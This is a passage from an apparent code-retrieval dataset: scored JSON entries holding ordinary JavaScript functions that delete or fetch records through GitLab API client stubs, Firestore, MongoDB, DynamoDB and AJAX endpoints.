null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let buildId = 56;*/ // Number | The ID of a build\napiInstance.postV3ProjectsIdBuildsBuildIdErase(incomingOptions.id, incomingOptions.buildId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "51bf2bb8eb1b8fc22e89ee0bc6124086", "score": "0.48524225", "text": "async stripeCancelSubscription(root, args, context) {\n\n //cancle subscritpion via stripe api delete subscription\n const deletedSubscription = await cancelStripeSubscription(args, context)\n\n if (deletedSubscription) {\n return { subscription: deletedSubscription }\n } else {\n throw new Error('Error processing cancellation');\n }\n\n\n }", "title": "" }, { "docid": "27a0c41062d9901f14851992222a6a42", "score": "0.48446524", "text": "deleteContact(userId, id) { \n console.log(\"UserService.deleteContact, id: \" + id + \" from user \" + user);\n // local\n if (typeof (id) == 'undefined') {\n console.log(\"UserService.deleteContact, id undefined: \" + id);\n // pf = new Promise ();\n return Promise.reject(new Error('fail'));\n }\n if (typeof (user) == 'undefined') {\n console.log(\"UserService.deleteContact, user undefined\");\n // pf = new Promise ();\n return Promise.reject(new Error('fail'));\n }\n\n \n let user = this.users.find(item => {\n return item.id == userId;\n });\n var connectedUserId;\n var connectedEmail;\n var i;\n for (i = 0; i < user.connections.length; i++) {\n if (user.connections[i].id == id) {\n connectedUserId = user.connections[i].connectedUserId;\n let connected = this.users.find(item => {\n return item.id == connectedUserId;\n });\n connectedEmail = connected.email;\n user.connections.splice(i, 1);\n break;\n }\n }\n\n //write out\n // make 2 calls because not sureif the standard delete should be used or not.\n\n console.log(\"UserService.deleteContact, delete connection 1, id: \" + id + \" fromEmail: \" + connectedEmail);\n var payload = {\n fromEmail: connectedEmail\n };\n var promise = new Promise((resolve, reject) => {\n this.http.fetch('/connection/delete/' + id, {\n method: 'post',\n body: json(payload)\n })\n //.then(response => response.json())\n // .then(result => resolve(result));\n });\n // 2nd fllipped \n var id2;\n var email2 = null; //RM signal that for 2nd delete we do NOT want to send invalidate\n payload = {\n fromEmail: email2\n };\n for (i = 0; i < user.connections.length; i++) {\n if (user.connections[i].connectedUserId == user) {\n id2 = user.connections[i].id;\n let connected = this.users.find(item => {\n return item.id == connectedUserId;\n });\n connected.connections.splice(i, 1);\n break;\n }\n }\n //write out\n // make 2 calls because not sureif the standard delete should be used or not. \n console.log(\"UserService.deleteContact, delete connection 2, id: \" + id2 + \" fromEmail: \" + email2);\n promise = new Promise((resolve, reject) => {\n this.http.fetch('/connection/delete/' + id2, {\n method: 'post',\n body: json(payload)\n })\n //.then(response => response.json())\n //.then(result => resolve(result));\n });\n\n // not sure if I should serilize the deletes, lest's assue not for now.\n return promise;\n }", "title": "" }, { "docid": "b80f4161fc9faf0cfa525e0202870779", "score": "0.4843459", "text": "deleteV3UsersId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.UsersApi()\n/*let id = 56;*/ // Number | The ID of the user\napiInstance.deleteV3UsersId(incomingOptions.id, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "7a7824506bcc5a0754cbebbc5356099d", "score": "0.48316896", "text": "deleteV3GroupsId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.GroupsApi()\n/*let id = \"id_example\";*/ // String | The ID of a group\napiInstance.deleteV3GroupsId(incomingOptions.id, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, '')\n }\n});\n }", "title": "" }, { "docid": "c865f725d985e281266fec56f40c67c2", "score": "0.48080826", "text": "deleteV3GroupsIdMembersUserId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.GroupsApi()\n/*let id = \"id_example\";*/ // String | The group I\n/*let userId = 56;*/ // Number | The user ID of the member\napiInstance.deleteV3GroupsIdMembersUserId(incomingOptions.id, incomingOptions.userId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, '')\n }\n});\n }", "title": "" }, { "docid": "748d839e93b5b0483cc95f3f83647bb5", "score": "0.47944057", "text": "postV3ProjectsIdBuildsBuildIdCancel(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let buildId = 56;*/ // Number | The ID of a build\napiInstance.postV3ProjectsIdBuildsBuildIdCancel(incomingOptions.id, incomingOptions.buildId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "e53312af7842cbf755d3346405a1cc70", "score": "0.47927403", "text": "function removeAllFirestoreProjectsForCustomer(customerId) {\r\n\r\n\tdb.collection(\"rates\").where(\"projectId\", \"==\", customerId).get().then((results) => {\r\n\t\tresults.forEach((doc) => {\r\n\t\t\tdoc.ref.delete();\r\n\t\t});\r\n\t}).then(() => {\r\n\t\tdb.collection(\"projects\").doc(customerId).delete();\r\n\t\t$(\"#manageClientModal\").modal(\"hide\");\r\n\t\tdeselectProject();\r\n\t}).catch((err) => {\r\n\t\talert(\"Something went wrong. If the error persists, contact [email protected]. Error:\", err);\r\n\t});\r\n\t//if successful, delete the customer.\r\n\t\r\n\r\n}", "title": "" }, { "docid": "c5a69c785cacfa1ab843dd55bc408fc0", "score": "0.47587073", "text": "destroyDocuments(contentSourceKey, documentIds) {\n return this.client.post(`/sources/${contentSourceKey}/documents/bulk_destroy`, documentIds)\n }", "title": "" }, { "docid": "2788ac44d00e6823f8b46173bd7131b3", "score": "0.47578993", "text": "removeRequestContactSent(userId,contactId){\n return this.remove({\n $and:[\n {\"userId\":userId},\n {\"contactId\":contactId},\n {\"status\":false}\n ]\n }).exec();\n}", "title": "" }, { "docid": "cb73561754da7b743eeb304f7669aaa5", "score": "0.47572127", "text": "function deleteCompetition(userId, competitionId) {\n var deferred = cmnSvc.$q.defer();\n \n fbaseDb.ref('/users/' + userId + '/competitionList/' + competitionId).remove()\n .then(function(snapshot) {\n fbaseDb.ref('/competitionList/' + competitionId).remove()\n .then(function(snapshot1) {\n fbaseDb.ref('/competition/' + competitionId).remove()\n .then(function() {\n deferred.resolve(snapshot1);\n })\n }, function(er1) {\n deferred.reject(er1);\n });\n }, function(err) {\n deferred.reject(err);\n })\n\n return deferred.promise;\n }", "title": "" }, { "docid": "42b7854fe33f566a6d83e996eaf32531", "score": "0.47481164", "text": "removeRequestContactReceived(userId,contactId){\n return this.remove({\n $and:[\n {\"userId\":contactId},\n {\"contactId\":userId},\n {\"status\":false}\n ]\n }).exec();\n}", "title": "" }, { "docid": "519f72a40a98723ee9b06d5fb5c2194f", "score": "0.47450677", "text": "deleteNotifications(bearerToken, ids, options = {}) {\n const urlPath = \"/v2/notification\";\n const queryParams = /* @__PURE__ */ new Map();\n queryParams.set(\"ids\", ids);\n let bodyJson = \"\";\n const fullUrl = this.buildFullUrl(this.basePath, urlPath, queryParams);\n const fetchOptions = buildFetchOptions(\"DELETE\", options, bodyJson);\n if (bearerToken) {\n fetchOptions.headers[\"Authorization\"] = \"Bearer \" + bearerToken;\n }\n return Promise.race([\n fetch(fullUrl, fetchOptions).then((response) => {\n if (response.status == 204) {\n return response;\n } else if (response.status >= 200 && response.status < 300) {\n return response.json();\n } else {\n throw response;\n }\n }),\n new Promise(\n (_, reject) => setTimeout(reject, this.timeoutMs, \"Request timed out.\")\n )\n ]);\n }", "title": "" }, { "docid": "0366b63ee182df0435fe8d9013b399b3", "score": "0.47412655", "text": "multiDeleteContact(req, res){\n let contactIds = req.body;\n setTimeout(() => {\n try{\n Contacts\n .remove({ _id: { $in : contactIds }})\n .then(() => {\n return apiResponse.successResponse(res, 'Delete list of contacts successfully');\n })\n }catch(err){\n return apiResponse.ErrorResponse(res, err);\n }\n }, 1000);\n }", "title": "" }, { "docid": "f575da6359666776fc3e518e93b2b6bc", "score": "0.47253415", "text": "function removeFirestoreProjectData(projectName, customerId) {\r\n\t//get all the rate data for the project under the customerId\r\n\tvar tagRatesQuery = db.collection('rates').where('projectId','==', customerId).where('tag', '==', projectName);\r\n\t//delete all the documents found\r\n\ttagRatesQuery.get().then(function(querySnapshot) {\r\n\t\tquerySnapshot.forEach(function(doc) {\r\n \t\tdoc.ref.delete();\r\n \t});\r\n\t\t//remove the tag from the customer's entry\r\n\t\tlet customerRef = db.collection(\"projects\").doc(customerId);\r\n\t\tcustomerRef.update({\r\n\t\t tags: firebase.firestore.FieldValue.arrayRemove(projectName)\r\n\t\t});\r\n\t});\r\n\r\n\t//delete all of the rate data for the project\r\n\r\n\t//then\r\n\r\n\t//delete the project from the customer entry\r\n}", "title": "" }, { "docid": "530fcc4ea542df53790f9f654148934d", "score": "0.472145", "text": "postV3ProjectsIdMergeRequestsMergeRequestIdResetSpentTime(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let mergeRequestId = 56;*/ // Number | The ID of a project merge_request\napiInstance.postV3ProjectsIdMergeRequestsMergeRequestIdResetSpentTime(incomingOptions.id, incomingOptions.mergeRequestId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, '')\n }\n});\n }", "title": "" }, { "docid": "84777bac0f3f076720e8d3d217c1a702", "score": "0.4716373", "text": "deleteV3ProjectsIdLabels(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let name = \"name_example\";*/ // String | The name of the label to be deleted\napiInstance.deleteV3ProjectsIdLabels(incomingOptions.id, incomingOptions.name, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "1e643d8efdf3402eeae550ba67ab07d6", "score": "0.47116467", "text": "function deleteChat(req, res) {\n const chatroom = req.params.chatroom; // that is the same as bookingId the chat is about\n console.log(\"Delete specific chatroom\", chatroom);\n\n // get all messages of a specific chatroom to get their messageIds\n const params = {\n TableName: \"Chat\",\n IndexName: \"chatroom_time_idx\",\n ScanIndexForward: true,\n KeyConditionExpression: \"chatroom = :chatroom\",\n ExpressionAttributeValues: {\n \":chatroom\": chatroom\n }\n };\n\n docClient.query(params, function(err, data) {\n if (err) {\n res.json({ \"error\": err, \"data\": data });\n } else {\n // data.Items is an array of messages\n console.log(\"messages of the chatroom\", data.Items);\n // for every message, create DeleteRequest\n const deleteRequestArray = data.Items.map(message => {\n return {\n \"DeleteRequest\": { \n \"Key\": { \n \"messageId\" : message.messageId\n }\n }\n };\n }\n );\n const params = {\n RequestItems: {\n \"Chat\": deleteRequestArray\n }\n };\n\n docClient.batchWrite(params, function(err, data) {\n if (err) {\n console.log(\"Error\", err);\n } else {\n console.log(\"Success\", data);\n }\n });\n }\n });\n}", "title": "" }, { "docid": "3c18f5fb1ac395c40f16665e1d135480", "score": "0.4700184", "text": "getV3ProjectsIdMergeRequestsMergeRequestId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let mergeRequestId = 56;*/ // Number | \napiInstance.getV3ProjectsIdMergeRequestsMergeRequestId(incomingOptions.id, incomingOptions.mergeRequestId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "6649236937edba75bfd2177f260d4ef1", "score": "0.46987197", "text": "postV3ProjectsIdIssuesSubscribableIdSubscription(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let subscribableId = \"subscribableId_example\";*/ // String | The ID of a resource\napiInstance.postV3ProjectsIdIssuesSubscribableIdSubscription(incomingOptions.id, incomingOptions.subscribableId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "1db17e7085e2d120130d0f31a17651db", "score": "0.46926215", "text": "getV3ProjectsIdMergeRequestsMergeRequestIdChanges(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let mergeRequestId = 56;*/ // Number | \napiInstance.getV3ProjectsIdMergeRequestsMergeRequestIdChanges(incomingOptions.id, incomingOptions.mergeRequestId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "320dcb64858d801610890c60d6b5de81", "score": "0.4690454", "text": "function deleteProject(p,id)\n{\n var subj = user.id + \"_\"+p+\"_\"+\"Subjects\";\n var uid = user.id;\n var pid = user.projectID[id];\n\n if (confirm('Are you sure you want to delete ' + p)) {\n $.ajax({\n type: \"POST\",\n url: '/deleteProject',\n data: {subjects: subj, UID: uid, PID: pid},\n success: function (dat) {\n alert(dat);\n user.projectID.splice(id, 1);\n sessionStorage['User'] = JSON.stringify(user);\n init();\n },\n error: function (e) {\n console.log(e);\n }\n });\n }\n}", "title": "" }, { "docid": "51b6c628177a2983f4a04cb722bded3e", "score": "0.46791682", "text": "deleteV3UsersIdKeysKeyId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.UsersApi()\n/*let id = 56;*/ // Number | The ID of the use\n/*let keyId = 56;*/ // Number | The ID of the SSH key\napiInstance.deleteV3UsersIdKeysKeyId(incomingOptions.id, incomingOptions.keyId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "583bd1f22589af474f5747be7c64f434", "score": "0.46759638", "text": "DeleteProjectApi(projectId) {\n const endpoint = environment.apiUrl + moduleUrls.Project + '/' + `${projectId}`;\n return $.ajax({\n url: endpoint,\n type: Type.deletetype,\n headers: {\n \"content-type\": \"application/json\",\n \"x-requested-with\": \"XMLHttpRequest\",\n }\n });\n }", "title": "" }, { "docid": "f5822782af00b1568c9b7c9e51c94c75", "score": "0.46708763", "text": "delete(req, res, next) {\n let data = req.params\n let datasetId = data.datasetId ? data.datasetId : null\n let userId = data.userId ? data.userId : null\n\n // delete an entry in the c.crn.subscriptions db\n // with the datasetId and userId\n c.crn.subscriptions.deleteOne(\n {\n datasetId: datasetId,\n userId: userId,\n },\n err => {\n if (err) {\n return next(err)\n } else {\n return res.send()\n }\n },\n )\n }", "title": "" }, { "docid": "9592842cba1e1a12433d335b9d001cc2", "score": "0.4670841", "text": "function batchDelete() {\n if (selectedOrdersIds.length > 0) {\n // Request Definition.\n var request = server_url + \"/api/order/delete?\";\n var finalRequest = \"\";\n\n // Find selected Order ID\n var deleteRequest = request + \"id=\" + selectedOrdersIds.join(\",\");\n finalRequest = deleteRequest;\n var auxUrl = search_url;\n auxUrl = auxUrl.split(\"?\");\n\n if (auxUrl[1].length > 0) {\n finalRequest = finalRequest + \"&page=\" + currentPageGlobal + \"&\" + auxUrl[1];\n } else {\n finalRequest = finalRequest + \"&page=\" + currentPageGlobal;\n }\n console.log(\"Batch delete \" + finalRequest);\n fetchRequest(finalRequest, \"#deleteToast\", false);\n selectedOrdersIds = [];\n document.querySelector(\"#batchDeleteButton\").disabled = true;\n document.querySelector(\"#batchDeleteButton\").className = \"btn btn-del btn-lg btn-block filterText \";\n }\n}", "title": "" }, { "docid": "2326e99494ed740d3872c339f6830dd4", "score": "0.46644422", "text": "getV3ProjectsIdMergeRequests(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let opts = {\n 'state': \"'all'\", // String | Return opened, closed, merged, or all merge requests\n 'orderBy': \"'created_at'\", // String | Return merge requests ordered by `created_at` or `updated_at` fields.\n 'sort': \"'desc'\", // String | Return merge requests sorted in `asc` or `desc` order.\n 'page': 56, // Number | Current page number\n 'perPage': 56, // Number | Number of items per page\n 'iid': 56 // [Number] | The IID of the merge requests\n};*/\napiInstance.getV3ProjectsIdMergeRequests(incomingOptions.id, incomingOptions.opts, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "f919ce820e4b5390f93ae09e1c9644a7", "score": "0.46595228", "text": "function deleteRepo() {\n var xhttp;\n var repoid = document.forms['deleterepo'].elements['repoid'].value;\n xhttp = new XMLHttpRequest();\n xhttp.onreadystatechange = function () {\n if (xhttp.readyState == XMLHttpRequest.DONE) {\n var response = JSON.parse(xhttp.responseText);\n document.getElementById(\"messageResult\").style.display = \"block\";\n document.getElementById(\"plogmessage\").innerHTML = \"Message: \" + response.message;\n // delete from shown HTML table and redraw\n $('#repolist').DataTable().row(\"#\"+repoid).remove().draw();\n document.getElementById(\"repoid\").value = '';\n }\n };\n xhttp.open('POST', \"/api/deleterepo\");\n xhttp.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\n var postVars = 'repoid=' + repoid;\n xhttp.send(postVars);\n return false;\n}", "title": "" }, { "docid": "8e39b6883d7a3484f2e1b461a4a3a52d", "score": "0.4646555", "text": "batchDeletePendingResources(orgId, userId, resources) {\n if (resources.length === 0) {\n console.warn('Tried to delete a batch of resources, but resources was empty.');\n return Promise.resolve(AppProviderTypes_1.makeSuccess(undefined));\n }\n const batch = this.firestore.batch();\n resources.forEach(r => {\n const ref = this.firestore.collection('org').doc(orgId).collection('user').doc(userId).collection('pendingResources').doc(r.id);\n batch.delete(ref);\n });\n return batch.commit()\n .then((res) => AppProviderTypes_1.makeSuccess(undefined))\n .catch((error) => AppProviderTypes_1.makeError(error.message + error.stack));\n }", "title": "" }, { "docid": "97f9d4cab188c0dea1c52f97c421de24", "score": "0.46398044", "text": "getV3ProjectsIdMergeRequestMergeRequestId(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let mergeRequestId = 56;*/ // Number | The ID of a merge request\napiInstance.getV3ProjectsIdMergeRequestMergeRequestId(incomingOptions.id, incomingOptions.mergeRequestId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "383146dca920b165a4c2da505b9f8542", "score": "0.463915", "text": "function deleteListaCompras(hashkey,idlista) {\n\twaitEliminar.show();\n var request = new XMLHttpRequest();\n request.onreadystatechange = function() {\n if (request.readyState == 4) {\n var resp = request.responseText;\n resp = JSON.parse(resp);\n \n var errorcode = resp.response.errorCode;\n console.log(JSON.stringify(errorcode));\n \n if (errorcode == \"0\"){\n \tokSuccess.show();\n \n \tdataSource.load();\n \n }else{\n \terror.show();\n \tdataSource.load();\n }\n \n \n }\n };\n \n request.open(\"DELETE\", \"http://observatoriodeprecios.defensoria.gob.sv/ApiREST.php/v1/deleteListaCompras/\"+hashkey+\"/\"+idlista, true);\n console.log(\"http://observatoriodeprecios.defensoria.gob.sv/ApiREST.php/v1/deleteListaCompras/\"+hashkey+\"/\"+idlista);\n request.send();\n}", "title": "" }, { "docid": "0228e13e7b6fa873212810e9372f7951", "score": "0.46331054", "text": "function projectDelete(id){\n $.ajax({\n url : endpoint,\n method: 'POST',\n data: {\n 'action': 'projects',\n 'subaction' : 'delete',\n 'id' : id,\n }\n }).done(function(response){\n if(response != undefined){\n response = JSON.parse(response);\n if(response.success == true){\n var messages = [response.message];\n ShowMessages(messages, 'success');\n projectResetForm();\n projectLoadList();\n }else{\n ShowMessages(response.message, 'fail');\n }\n }\n });\n $('.view-project-delete').slideUp();\n $('.view-project-list').slideDown()\n}", "title": "" }, { "docid": "d9a6794a5a77b0a29f6ad08d25e6becc", "score": "0.4622405", "text": "deleteVoicemailMessages() { \n\n\t\treturn this.apiClient.callApi(\n\t\t\t'/api/v2/voicemail/messages', \n\t\t\t'DELETE', \n\t\t\t{ },\n\t\t\t{ },\n\t\t\t{ },\n\t\t\t{ },\n\t\t\tnull, \n\t\t\t['PureCloud OAuth'], \n\t\t\t['application/json'],\n\t\t\t['application/json']\n\t\t);\n\t}", "title": "" }, { "docid": "86641ce1a2179f45192f507c3175824d", "score": "0.4617528", "text": "getV3ProjectsIdMergeRequestsMergeRequestIdVersions(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // String | The ID of a projec\n/*let mergeRequestId = 56;*/ // Number | The ID of a merge request\napiInstance.getV3ProjectsIdMergeRequestsMergeRequestIdVersions(incomingOptions.id, incomingOptions.mergeRequestId, (error, data, response) => {\n if (error) {\n cb(error, null)\n } else {\n cb(null, data)\n }\n});\n }", "title": "" }, { "docid": "e467dae0c3113f853ba301b888a56a2c", "score": "0.46172434", "text": "function delete_selected_messages(msg_id){\n $.ajax({\n url: \"delete_messages\",\n type: \"post\",\n dataType: 'json',\n data: {\n \"delete_message_id\": msg_id\n },\n beforeSend: function() {\n\n },\n complete: function() {\n\n },\n success: function() {\n $('li#li_msg_'+msg_id).remove();\n $(\"#myModalDelete\").find(\"#btn_close\").click();\n }\n }); \n}", "title": "" }, { "docid": "3cf9d3567056fc266c485ff6453d046d", "score": "0.46158764", "text": "postV3ProjectsIdMergeRequests(incomingOptions, cb) {\n const Gitlab = require('./dist');\nlet defaultClient = Gitlab.ApiClient.instance;\n// Configure API key authorization: private_token_header\nlet private_token_header = defaultClient.authentications['private_token_header'];\nprivate_token_header.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_header.apiKeyPrefix = 'Token';\n// Configure API key authorization: private_token_query\nlet private_token_query = defaultClient.authentications['private_token_query'];\nprivate_token_query.apiKey = 'YOUR API KEY';\n// Uncomment the following line to set a prefix for the API key, e.g. \"Token\" (defaults to null)\n//private_token_query.apiKeyPrefix = 'Token';\n\nlet apiInstance = new Gitlab.ProjectsApi()\n/*let id = \"id_example\";*/ // 